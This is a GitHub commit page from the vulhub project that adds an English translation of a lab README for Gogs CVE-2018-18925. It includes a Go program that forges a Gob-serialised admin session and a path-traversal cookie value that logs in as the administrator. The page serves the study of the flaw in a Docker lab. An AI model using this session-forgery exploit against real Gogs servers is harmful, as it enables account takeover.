Skip to content

Commit

Permalink
Merge pull request #520 from vulhub/translation/gogs
Browse files Browse the repository at this point in the history
Added translation for Gogs CVE-2018-18925
  • Loading branch information
phith0n committed May 5, 2024
2 parents 385112c + 652d35c commit a212bb1
Show file tree
Hide file tree
Showing 3 changed files with 96 additions and 18 deletions.
2 changes: 1 addition & 1 deletion environments.toml
Original file line number Diff line number Diff line change
Expand Up @@ -473,7 +473,7 @@ app = "GoAhead"
path = "goahead/CVE-2021-42342"

[[environment]]
name = "Gogs Arbitrary User Login"
name = "Gogs Session Overwrite and Arbitrary User Forge"
cve = ["CVE-2018-18925"]
app = "Gogs"
path = "gogs/CVE-2018-18925"
Expand Down
36 changes: 19 additions & 17 deletions gogs/CVE-2018-18925/README.md
Original file line number Diff line number Diff line change
@@ -1,30 +1,32 @@
# Gogs 任意用户登录漏洞(CVE-2018-18925
# Gogs Session Overwrite and Arbitrary User Forge (CVE-2018-18925)

gogs是一款极易搭建的自助Git服务平台,具有易安装、跨平台、轻量级等特点,使用者众多。
[中文版本(Chinese version)](README.zh-cn.md)

其0.11.66及以前版本中,(go-macaron/session库)没有对sessionid进行校验,攻击者利用恶意sessionid即可读取任意文件,通过控制文件内容来控制session内容,进而登录任意账户。
Gogs is a painless self-hosted Git service.

参考链接:
Gogs 0.11.66 allows remote code execution because it does not properly validate session IDs, as demonstrated by a `..` session-file forgery in the file session provider in file.go. This is related to session ID handling in the go-macaron/session code for Macaron.

- https://github.com/gogs/gogs/issues/5469
- https://xz.aliyun.com/t/3168
- https://www.anquanke.com/post/id/163575
References:

## 环境启动
- <https://github.com/gogs/gogs/issues/5469>
- <https://xz.aliyun.com/t/3168>
- <https://www.anquanke.com/post/id/163575>

执行如下命令启动gogs:
## Vulnerable environment

Execute following command to start a Gogs server 0.11.66:

```
docker compose up -d
```

环境启动后,访问`http://your-ip:3000`,即可看到安装页面。安装时选择sqlite数据库,并开启注册功能。
After the server is started, you can see the installation page on `http://your-ip:3000`. Follow the instructions to initialize the application, keep in mind that use SQLite as the database provider and enable the user register.

安装完成后,需要重启服务:`docker compose restart`,否则session是存储在内存中的。
Restart the server by `docker compose restart` after the installation, otherwise the session won't be stored in the filesystem.

## 漏洞利用
## Exploit

使用Gob序列化生成session文件:
Before the exploit, use Gob to generate a evil session file:

```go
package main
Expand Down Expand Up @@ -63,14 +65,14 @@ func main() {
}
```

然后注册一个普通用户账户,创建项目,并在“版本发布”页面上传刚生成的session文件:
Sign up a normal user account, then create a project and upload the generated evil file on release page:

![](1.png)

通过这个附件的URL,得知这个文件的文件名:`./attachments/2eb7f1a2-b5ec-482e-a297-15b625d24a10`
Get the aboslute file path from the attachment URL, for example `./attachments/2eb7f1a2-b5ec-482e-a297-15b625d24a10`.

然后,构造Cookie:`i_like_gogits=../attachments/2/e/2eb7f1a2-b5ec-482e-a297-15b625d24a10`,访问即可发现已经成功登录id=1的用户(即管理员):
Finally, construct a malicious session id like `i_like_gogits=../attachments/2/e/2eb7f1a2-b5ec-482e-a297-15b625d24a10` and you can see that you are administrator (uid=1) now:

![](2.png)

完整的利用过程与原理,可以阅读参考链接中的文章。
To execte commands as the administrator role, please refer to the reference links.
76 changes: 76 additions & 0 deletions gogs/CVE-2018-18925/README.zh-cn.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,76 @@
# Gogs 任意用户登录漏洞(CVE-2018-18925)

gogs是一款极易搭建的自助Git服务平台,具有易安装、跨平台、轻量级等特点,使用者众多。

其0.11.66及以前版本中,(go-macaron/session库)没有对sessionid进行校验,攻击者利用恶意sessionid即可读取任意文件,通过控制文件内容来控制session内容,进而登录任意账户。

参考链接:

- https://github.com/gogs/gogs/issues/5469
- https://xz.aliyun.com/t/3168
- https://www.anquanke.com/post/id/163575

## 环境启动

执行如下命令启动gogs:

```
docker compose up -d
```

环境启动后,访问`http://your-ip:3000`,即可看到安装页面。安装时选择sqlite数据库,并开启注册功能。

安装完成后,需要重启服务:`docker compose restart`,否则session是存储在内存中的。

## 漏洞利用

使用Gob序列化生成session文件:

```go
package main

import (
"bytes"
"encoding/gob"
"encoding/hex"
"fmt"
"io/ioutil"
"os"
)

func EncodeGob(obj map[interface{}]interface{}) ([]byte, error) {
for _, v := range obj {
gob.Register(v)
}
buf := bytes.NewBuffer(nil)
err := gob.NewEncoder(buf).Encode(obj)
return buf.Bytes(), err
}

func main() {
var uid int64 = 1
obj := map[interface{}]interface{}{"_old_uid": "1", "uid": uid, "uname": "root"}
data, err := EncodeGob(obj)
if err != nil {
fmt.Println(err)
}
err = ioutil.WriteFile("data", data, os.O_CREATE|os.O_WRONLY)
if err != nil {
fmt.Println(err)
}
edata := hex.EncodeToString(data)
fmt.Println(edata)
}
```

然后注册一个普通用户账户,创建项目,并在“版本发布”页面上传刚生成的session文件:

![](1.png)

通过这个附件的URL,得知这个文件的文件名:`./attachments/2eb7f1a2-b5ec-482e-a297-15b625d24a10`

然后,构造Cookie:`i_like_gogits=../attachments/2/e/2eb7f1a2-b5ec-482e-a297-15b625d24a10`,访问即可发现已经成功登录id=1的用户(即管理员):

![](2.png)

完整的利用过程与原理,可以阅读参考链接中的文章。

0 comments on commit a212bb1

Please sign in to comment.